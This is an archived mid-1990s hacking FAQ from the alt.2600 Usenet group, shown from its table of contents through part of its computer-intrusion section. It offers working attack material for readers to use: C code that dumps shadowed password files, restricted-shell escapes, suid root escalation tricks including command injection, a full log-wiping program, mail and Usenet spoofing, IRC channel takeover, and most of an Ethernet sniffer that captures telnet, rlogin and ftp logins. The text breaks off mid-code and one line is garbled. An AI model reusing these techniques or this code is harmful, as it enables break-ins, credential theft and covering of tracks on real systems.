HPAVC/HPAVC CD-ROM.iso/HACKFAQ.ZIP/HACKFAQ.10

Internet Message Format | 1995-02-26 | 176KB

From [e-mail] (Will Spencer)
Newsgroups: alt.2600,alt.answers,news.answers
Subject: alt.2600 FAQ, Beta .010 - Part 1/1
Followup-To: alt.2600
Reply-To: [e-mail] (FAQ Comments address)
Summary: This posting contains a list of Frequently Asked
     Questions (and their answers) about hacking.  It
     should be read by anyone who wishes to post to the
     alt.2600 newsgroup or use the IRC channel #hack.

Archive-name: alt-2600-faq
Posting-Frequency: Random
Last-Modified: 1994/12/18
Version: Beta .010


Editors Note: Welcome to Beta .010 of the alt.2600/#hack FAQ!

              Eleet greets go out to Outsider for producing an
              excellent WWW version of this document at:
              http://www.engin.umich.edu/~jgotts/hack-faq.html

              The purpose of this FAQ is to give you a general
              introduction to the topics covered in alt.2600 and
              #hack.  No document will make you a hacker.

              If you have a questions regarding any of the topics
              covered in the FAQ, please direct it to alt.2600 or
              #hack.  Please do not e-mail me with them, I'm getting
              swamped.

              If your copy of the #hack FAQ does not end with the
              letters EOT on a line by themselves, you do not have the
              entire FAQ.


                                 ** BETA **

                             Beta Revision .010

                alt.2600/#Hack F.A.Q.

                        A TNO Communication Production

                                    by
                  Voyager
                [e-mail]

                Sysop of
                 Hacker's Haven
                  [phone]

               With special thanks to:

        A-Flat, Al, Aleph1, Bluesman, C-Curve, DeadKat, Edison,
        Hobbit, KCrow, Major, Marauder, Novocain, Outsider, Presence,
        Rogue Agent, sbin, Taran King, Tomes and TheSaint.


               We work in the dark
               We do what we can
               We give what we have
               Our doubt is our passion,
               and our passion is our task
               The rest is the madness of art.

                -- Henry James



Section A: Computers

  01. How do I access the password file under Unix?
U 02. How do I crack Unix passwords?
  03. What is password shadowing?
  04. Where can I find the password file if it's shadowed?
  05. What is NIS/yp?
  06. What are those weird characters after the comma in my passwd file?
  07. How do I access the password file under VMS?
  08. How do I crack VMS passwords?
  09. How do I break out of a restricted shell?
  10. How do I gain root from a suid script or program?
  11. How do I erase my presence from the system logs?
  12. How do I send fakemail?
  13. How do I fake posts to UseNet?
  14. How do I hack ChanOp on IRC?
  15. How do I modify the IRC client to hide my real username?
U 16. How to I change to directories with strange characters in them?
  17. What is ethernet sniffing?
  18. What is an Internet Outdial?
  19. What are some Internet Outdials?
U 20. What is this system?
U 21. What are the default accounts for XXX ?
  22. What port is XXX on?
  23. What is a trojan/worm/virus/logic bomb?
U 24. How can I protect myself from virii and such?
  25. What is Cryptoxxxxxxx?
  26. What is PGP?
U 27. What is Tempest?
  28. What is an anonymous remailer?
  29. What are the addresses of some anonymous remailers?
  30. How do I defeat copy protection?
  31. What is 127.0.0.1?


Section B: Telephony

U 01. What is a Red Box?
U 02. How do I build a Red Box?
  03. Where can I get a 6.5536Mhz crystal?
  04. Which payphones will a Red Box work on?
N 05. How do I make local calls with a Red Box?
U 06. What is a Blue Box?
  07. Do Blue Boxes still work?
  08. What is a Black Box?
U 09. What do all the colored boxes do?
  10. What is an ANAC number?
  11. What is the ANAC number for my area?
  12. What is a ringback number?
U 13. What is the ringback number for my area?
  14. What is a loop?
U 15. What is a loop in my area?
U 16. What is a CNA number?
U 17. What is the telephone company CNA number for my area?
U 18. What are some numbers that always ring busy?
U 19. What are some numbers that temporarily disconnect phone service?
  20. What is scanning?
  21. Is scanning illegal?
  22. Where can I purchase a lineman's handset?
  23. What are the DTMF frequencies?
  24. What are the frequencies of the telephone tones?
U 25. What are all of the * codes?
  26. What frequencies do cordless phones operate on?


Section C: Resources

U 01. What are some ftp sites of interest to hackers?
U 02. What are some newsgroups of interest to hackers?
U 03. What are some telnet sites of interest to hackers?
U 04. What are some gopher sites of interest to hackers?
U 05. What are some World wide Web (WWW) sites of interest to hackers?
  06. What are some IRC channels of interest to hackers?
U 07. What are some BBS's of interest to hackers?
U 08. What books are available on this subject?
U 09. What are some mailing lists of interest to hackers?
U 10. What are some print magazines of interest to hackers?
U 11. What are some organizations of interest to hackers?
  12. Where can I purchase a magnetic stripe encoder/decoder?
N 13. What are the rainbow books and how can I get them?


Section D: 2600

  01. What is alt.2600?
  02. What does "2600" mean?
  03. Are there on-line versions of 2600 available?
  04. I can't find 2600 at any bookstores.  What can I do?
  05. Why does 2600 cost more to subscribe to than to buy at a newsstand?


Section E: Miscellaneous

  01. What does XXX stand for?
  02. How do I determine if I have a valid credit card number?
  03. What bank issued this credit card?
  04. What are the ethics of hacking?
U 05. Where can I get a copy of the alt.2600/#hack FAQ?



U == Updated since last release of the #hack FAQ
N == New since last release of the #hack FAQ




Section A: Computers
~~~~~~~~~~~~~~~~~~~~

01. How do I access the password file under Unix?

In standard Unix the password file is /etc/passwd.  On a Unix system
with either NIS/yp or password shadowing, much of the password data
may be elsewhere.


02. How do I crack Unix passwords?

Contrary to popular belief, Unix passwords cannot be decrypted.  Unix
passwords are encrypted with a one way function.  The login program
encrypts the text you enter at the "password:" prompt and compares
that encrypted string against the encrypted form of your password.

Password cracking software uses wordlists.  Each word in the wordlist
is encrypted and the results are compared to the encrypted form of the
target password.

The best cracking program for Unix passwords is currently Crack by
Alec Muffett.  For PC-DOS, the best package to use is currently
CrackerJack.


03. What is password shadowing?

Password shadowing is a security system where the encrypted password
field of /etc/passwd is replaced with a special token and the
encrypted password is stored in a separate file which is not readable
by normal system users.

To defeat password shadowing on many (but not all) systems, write a
program that uses successive calls to getpwent() to obtain the
password file.

Example:

#include <pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}


04. Where can I find the password file if it's shadowed?

Unix                  Path                            Token
-----------------------------------------------------------------
AIX 3                 /etc/security/passwd            !
       or             /tcb/auth/files/<first letter   #
                            of username>/<username>
A/UX 3.0s             /tcb/files/auth/?/*
BSD4.3-Reno           /etc/master.passwd              *
ConvexOS 10           /etc/shadpw                     *
ConvexOS 11           /etc/shadow                     *
DG/UX                 /etc/tcb/aa/user/               *
EP/IX                 /etc/shadow                     x
HP-UX                 /.secure/etc/passwd             *
IRIX 5                /etc/shadow                     x
Linux 1.1             /etc/shadow                     *
OSF/1                 /etc/passwd[.dir|.pag]          *
SCO Unix #.2.x        /tcb/auth/files/<first letter   *
                            of username>/<username>
SunOS4.1+c2           /etc/security/passwd.adjunct    ##username
SunOS 5.0             /etc/shadow
                      <optional NIS+ private secure maps/tables/whatever>
System V Release 4.0  /etc/shadow                     x
System V Release 4.2  /etc/security/* database
Ultrix 4              /etc/auth[.dir|.pag]            *
UNICOS                /etc/udb                        *


05. What is NIS/yp?

NIS (Network Information System) in the current name for what was once
known as yp (Yellow Pages).  The purpose for NIS is to allow many
machines on a network to share configuration information, including
password data.  NIS is not designed to promote system security.  If
your system uses NIS you will have a very short /etc/passwd file that
includes a line that looks like this:

+::0:0:::

To view the real password file use this command "ypcat passwd"


06. What are those weird characters after the comma in my passwd file?

The characters are password aging data.  Password aging forces the
user to change passwords after a System Administrator specified period
of time.  Password aging can also force a user to keep a password for
a certain number of weeks before changing it.

]
] Sample entry from /etc/passwd with password aging installed:
]
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]

Note the comma in the encrypted password field.  The characters after
the comma are used by the password aging mechanism.

]
] Password aging characters from above example:
]
] M.z8
]

The four characters are interpreted as follows:

  1: Maximum number of weeks a password can be used without changing.
  2: Minimum number of weeks a password must be used before changing.
3&4: Last time password was changed, in number of weeks since 1970.

Three special cases should be noted:

If the first and second characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in.  The
passwd program will then remove the passwd aging characters, and the
user will not be subjected to password aging requirements again.

If the third and fourth characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. Password
aging will then occur as defined by the first and second characters.

If the first character (MAX) is less than the second character (MIN),
the user is not allowed to change his/her password.  Only root can
change that users password.

It should also be noted that the su command does not check the password
aging data.  An account with an expired password can be su'd to
without being forced to change the password.


                        Password Aging Codes
+------------------------------------------------------------------------+
|                                                                        |
| Character:  .  /  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  G  H |
|    Number:  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 |
|                                                                        |
| Character:  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  a  b |
|    Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
|                                                                        |
| Character:  c  d  e  f  g  h  i  j  k  l  m  n  o  p  q  r  s  t  u  v |
|    Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
|                                                                        |
| Character:  w  x  y  z                                                 |
|    Number: 60 61 62 63                                                 |
|                                                                        |
+------------------------------------------------------------------------+


07. How do I access the password file under VMS?

Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT.  However,
unlike Unix, most users do not have access to read the password file.


08. How do I crack VMS passwords?

Write a program that uses the SYS$GETUAF functions to compare the
results of encrypted words against the encrypted data in SYSUAF.DAT.

Two such programs are known to exist, CHECK_PASSWORD and
GUESS_PASSWORD.


09. How do I break out of a restricted shell?

On poorly implemented restricted shells you can break out of the
restricted environment by running a program that features a shell
function.  A good example is vi.  Run vi and use this command:

:set shell=/bin/sh

then shell using this command:

:shell


10. How do I gain root from a suid script or program?

1. Change IFS.

If the program calls any other programs using the system() function
call, you may be able to fool it by changing IFS.  IFS is the Internal
Field Separator that the shell uses to delimit arguments.

If the program contains a line that looks like this:

system("/bin/date")

and you change IFS to '/' the shell will them interpret the
proceeding line as:

bin date

Now, if you have a program of your own in the path called "bin" the
suid program will run your program instead of /bin/date.

To change IFS, use this command:

IFS='/';export IFS      # Bourne Shell
setenv IFS '/'          # C Shell
export IFS='/'          # Korn Shell


2. link the script to -i

Create a symbolic link named "-i" to the program.  Running "-i"
will cause the interpreter shell (/bin/sh) to start up in interactive
mode.  This only works on suid shell scripts.

Example:

% ln suid.sh -i
% -i
#


3. Exploit a race condition

Replace a symbolic link to the program with another program while the
kernel is loading /bin/sh.

Example:

nice -19 suidprog ; ln -s evilprog suidroot


4. Send bad input to the program.

Invoke the name of the program and a separate command on the same
command line.

Example:

suidprog ; id


11. How do I erase my presence from the system logs?

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
files that can be edited by hand with vi, you must use a program
specifically written for this purpose.

Example:

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;

  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}

void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;

    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {

     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}

void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;

     if ((pwd=getpwnam(who))!=NULL) {

        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }

    } else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
    printf("Error.\n");
}


12. How do I send fakemail?

Telnet to port 25 of the machine you want the mail to appear to
originate from.  Enter your message as in this example:

 HELO bellcore.com
 MAIL FROM:[e-mail]
 RCPT TO:[e-mail]
 DATA

    Please discontinue your silly Clipper initiative.
 .
 QUIT

On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
line will not work.  Test by sending yourself fakemail first.

For more informationm read RFC 822 "Standard for the format of ARPA
Internet text messages."


13. How do I fake posts to UseNet?

Use inews to post.  Give inews the following lines:

 From:
 Newsgroups:
 Subject:
 Message-ID:
 Date:
 Organization:

For a moderated newsgroup, inews will also require this line:

 Approved:

Then add your post and terminate with <Control-D>.

Example:

 From: Eric S. Real
 Newsgroups: alt.hackers
 Subject: Pathetic bunch of wannabe losers
 Message-ID: <[e-mail]>
 Date: Fri, 13 Aug 1994 12:15:03
 Organization: Moral Majority

 A pathetic bunch of wannabe losers is what most of you are, with no
 right to steal the honorable title of `hacker' to puff up your silly
 adolescent egos. Get stuffed, get lost, and go to jail.

                                        Eric S. Real <[e-mail]>


 ^D

Note that many systems will append an Originator: line to your message
header, effectively revealing the account from which the message was
posted.


14. How do I hack ChanOp on IRC?

Find a server that is split from the rest of IRC and create your own
channel there using the name of the channel you want ChanOp on.  When
that server reconnects to the net, you will have ChanOp on the real
channel.  If you have ServerOp on a server, you can cause it to split
on purpose.


15. How do I modify the IRC client to hide my real username?

Get the IRC client from cs.bu.edu /irc/clients.  Look at the source
code files irc.c and ctcp.c.  The code you are looking for is fairly
easy to spot.  Change it. Change the username code in irc.c and the
ctcp information code in ctcp.c.  Compile and run your client.

Here are the diffs from a sample hack of the IRC client.  Your client
code will vary slightly depending on what IRC client version you are
running.

*** ctcp.c.old  Wed Feb 10 10:08:05 1993
--- ctcp.c      Fri Feb 12 04:33:55 1993
***************
*** 331,337 ****
    struct  passwd  *pwd;
    long    diff;
    int     uid;
!       char    c;

    /*
     * sojge complained that ircII says 'idle 1 seconds'
--- 331,337 ----
    struct  passwd  *pwd;
    long    diff;
    int     uid;
!       char    c, *fing;

    /*
     * sojge complained that ircII says 'idle 1 seconds'
***************
*** 348,354 ****
    if (uid != DAEMON_UID)
    {
  #endif /* DAEMON_UID */
!               if (pwd = getpwuid(uid))
        {
            char    *tmp;

--- 348,356 ----
    if (uid != DAEMON_UID)
    {
  #endif /* DAEMON_UID */
!               if (fing = getenv("IRCFINGER"))
!                       send_ctcp_reply(from, ctcp->name, fing, diff, c);
!               else if (pwd = getpwuid(uid))
        {
            char    *tmp;

*** irc.c.old   Wed Feb 10 06:33:11 1993
--- irc.c       Fri Feb 12 04:02:11 1993
***************
*** 510,516 ****
        malloc_strcpy(&my_path, "/");
    if (*realname == null(char))
        strmcpy(realname, "*Unknown*", REALNAME_LEN);
!       if (*username == null(char))
    {
        if (ptr = getenv("USER"))
            strmcpy(username, ptr, NAME_LEN);
--- 510,518 ----
        malloc_strcpy(&my_path, "/");
    if (*realname == null(char))
        strmcpy(realname, "*Unknown*", REALNAME_LEN);
!       if (ptr = getenv("IRCUSER"))
!               strmcpy(username, ptr, NAME_LEN);
!       else if (*username == null(char))
    {
        if (ptr = getenv("USER"))
            strmcpy(username, ptr, NAME_LEN);


16. How to I change to directories with strange characters in them?

These directories are often used by people trying to hide information,
most often warez (commercial software).

There are several things you can do to determine what these strange
characters are.  One is to use the arguments to the ls command that
cause ls to give you more information:

From the man page for ls:

    -F   Causes directories to be marked with a trailing ``/'',
     executable files to be marked with a trailing ``*'', and
     symbolic links to be marked with a trailing ``@'' symbol.

    -q   Forces printing of non-graphic characters in filenames as the
     character ``?''.

    -b   Forces printing of non-graphic characters in the \ddd
     notation, in octal.

Perhaps the most useful tool is to simply do an "ls -al filename" to
save the directory of the remote ftp site as a file on your local
machine.  Then you can do a "cat -t -v -e filename" too see exactly
what those bizarre little characters are.

From the man page for cat:

    -v  Causes non-printing characters (with the exception of tabs,
    newlines, and form feeds) to be displayed.  Control characters
    are displayed as ^X (<Ctrl>x), where X is the key pressed with
    the <Ctrl> key (for example, <Ctrl>m is displayed as ^M).  The
    <Del> character (octal 0177) is printed as ^?.  Non-ASCII
    characters (with the high bit set) are printed as M -x, where
    x is the character specified by the seven low order bits.

    -t  Causes tabs to be printed as ^I and form feeds as ^L.  This
    option is ignored if the -v option is not specified.

    -e  Causes a ``$'' character to be printed at the end of each line
    (prior to the new-line).  This option is ignored if the -v
    option is not set.

If the directory name includes a <SPACE> or a <TAB> you will need to
enclose the entire directory name in quotes.  Example:

cd "..<TAB>"

On an IBM-PC, you may enter these special characters by holding down
the <ALT> key and entering the decimal value of the special character
on your numeric keypad.  When you release the <ALT> key, the special
character should appear on your screen.  An ASCII chart can be very
helpful.

Sometimes people will create directories with some of the standard
stty control characters in them, such as ^Z (suspend) or ^C (intr).
To get into those directories, you will first need to user stty to
change the control character in qustion to another character.

From the man page for stty:

    Control assignments

    control-character C
                      Sets control-character to C, where control-character is
                      erase, kill, intr (interrupt), quit, eof, eol, swtch
                      (switch), start, stop or susp.

                      start and stop are available as possible control char-
                      acters for the control-character C assignment.

                      If C is preceded by a caret (^) (escaped from the
                      shell), then the value used is the corresponding con-
                      trol character (for example, ^D is a <Ctrl>d; ^? is
                      interpreted as DELETE and ^- is interpreted as unde-
                      fined).

Use the stty -a command to see your current stty settings, and to
determine which one is causing you problems.


17. What is ethernet sniffing?

Ethernet sniffing is listening (with software) to the raw ethernet
device for packets that interest you.  When your software sees a
packet that fits certain criteria, it logs it to a file.  The most
common criteria for an interesting packet is one that contains words
like "login" or "password."

Many ethernet sniffers are available, here are a few that may be on
your system now:

OS              Sniffer
~~              ~~~~~~~
HP/UX           nettl (monitor) & netfmt (display)
                nfswatch        /* Available via anonymous ftp           */
Irix            nfswatch        /* Available via anonymous ftp           */
                Etherman
SunOS           etherfind
                nfswatch        /* Available via anonymous ftp           */
Solaris         snoop
DOS             ETHLOAD         /* Available via anonymous ftp as        */
                                /* ethld104.zip                          */
                The Gobbler     /* Available via anonymous ftp           */
                LanPatrol
                LanWatch
        Netmon
                Netwatch
                Netzhack        /* Available via anonymous ftp at        */
                                /* mistress.informatik.unibw-muenchen.de */
                                /* /pub/netzhack.mac                     */
Macintosh       Etherpeek

Here is source code for an ethernet sniffer:

/* Esniff.c */

#include <stdio.h>
#include <ctype.h>
#include <string.h>

#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>

#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#include <netdb.h>
#include <arpa/inet.h>

#define ERR stderr

char    *malloc();
char    *device,
        *ProgName,
        *LogName;
FILE    *LOG;
int     debug=0;

#define NIT_DEV     "/dev/nit"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }

#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN  (128)
time_t  LastTIME = 0;

struct CREC {
     struct CREC *Next,
                 *Last;
     time_t  Time;              /* start time */
     struct in_addr SRCip,
                    DSTip;
     u_int   SRCport,           /* src/dst ports */
             DSTport;
     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
     u_int   Length;            /* current data length */
     u_int   PKcnt;             /* # pkts */
     u_long  LASTseq;
};

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
      gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

  return( (he)?(he->h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');
  SFL(3,TH_PUSH,'P');
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');
  iobuf[6]=0;
  return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;

   switch(port) {
     case IPPORT_LOGINSERVER: p="rlogin"; break;
     case IPPORT_TELNET:      p="telnet"; break;
     case IPPORT_SMTP:        p="smtp"; break;
     case IPPORT_FTP:         p="ftp"; break;
     default: sprintf(buf,"%u",port); p=buf; break;
   }
   return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */
  return(p);
}

char *NOWtm()
{ time_t tm;
  time(&tm);
  return( Ptm(&tm) );
}

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  register struct CREC *CLtmp = \
        (struct CREC *)malloc(sizeof(struct CREC)); \
  time( &(CLtmp->Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \
}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
            break;
    CLr = CLr->Next;
  }
  return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
 CL->Length += LEN; \
}

#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
     if(*dp < 32) {  \
        switch(*dp) { \
            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
                        break; \
            case '\r': \
            case '\n': fprintf(LOG,"\n     : "); \
                        break; \
            default  : fprintf(LOG,"^%c", (*dp + 64)); \
                        break; \
        } \
     } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
        else fprintf(LOG,"(%d)",*dp); \
     } \
     lastc = *dp++; \
  } \
  fflush(LOG); \
}

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
   fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
                        NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
   fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;
      PR_DATA(p,i);
      PR_DATA(d,dl);
    }

   fprintf(LOG,"\n-- \n");
   fflush(LOG);

   if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
   if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
   else
    CLroot = CLe->Next;
   free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIME<tm) { \
     register struct CREC *CLe,*CLt = CLroot; \
     LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
     while(CLe=CLt) { \
       CLt=CLe->Next; \
       if(CLe->Time <tm) \
           END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
     } \
  } \
}

void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
 register struct ip     *ip;
 register struct tcphdr *tcph;

 { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

   if(EtherType < 0x600) {
     EtherType = *(u_short *)(cp + SZETH + 6);
     cp+=8; pktlen-=8;
   }

   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
      return;
 }

    /* ugh, gotta do an alignment :-( */
 bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

 ip = (struct ip *)Packet;
 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
    return;
 tcph = (struct tcphdr *)(Packet + IPHLEN);

 if(!( (TCPD == IPPORT_TELNET) ||
       (TCPD == IPPORT_LOGINSERVER) ||
       (TCPD == IPPORT_FTP)
   )) return;

 { register struct CREC *CLm;
   register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
   register u_char *p = (u_char *)Packet;

   p += ((IPHLEN * 4) + (TCPOFF * 4));

 if(debug) {
  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
 }

   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

      CLm->PKcnt++;

      if(length>0)
        if( (CLm->Length + length) < MAXBUFLEN ) {
          ADDDATA_NODE( CLm, p,length);
        } else {
          END_NODE( CLm, p,length, "DATA LIMIT");
        }

      if(TCPFL(TH_FIN|TH_RST)) {
          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
      }

   } else {

      if(TCPFL(TH_SYN)) {
         ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
      }

   }

   IDLE_NODE();

 }

}

/* signal handler
 */
void death()
{ register struct CREC *CLe;

    while(CLe=CLroot)
        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    fflush(LOG);
    if(LOG != stdout)
        fclose(LOG);
    exit(1);
}

/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function
 */
void do_it()
{
    int cc;
    char *buf;
    u_short sp_ts_len;

    if(!(buf=malloc(CHUNKSIZE)))
        Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
  {
    struct strioctl si;
    struct ifreq    ifr;
    struct timeval  timeout;
    u_int  chunksize = CHUNKSIZE;
    u_long if_flags  = NI_PROMISC;

    if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
        Pexit(1,"Eth: nit open");

    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
        Pexit(1,"Eth: ioctl (I_SRDOPT)");

    si.ic_timout = INFTIM;

    if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof(timeout);
    si.ic_dp  = (char *)&timeout;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof(chunksize);
    si.ic_dp  = (char *)&chunksize;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof(ifr);
    si.ic_dp  = (char *)𝔦
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof(if_flags);
    si.ic_dp  = (char *)&if_flags;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
        Pexit(1,"Eth: ioctl (I_FLUSH)");
  }

    while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
        register char *bp = buf,
                      *bufstop = (buf + cc);

        while (bp < bufstop) {
            register char *cp = bp;
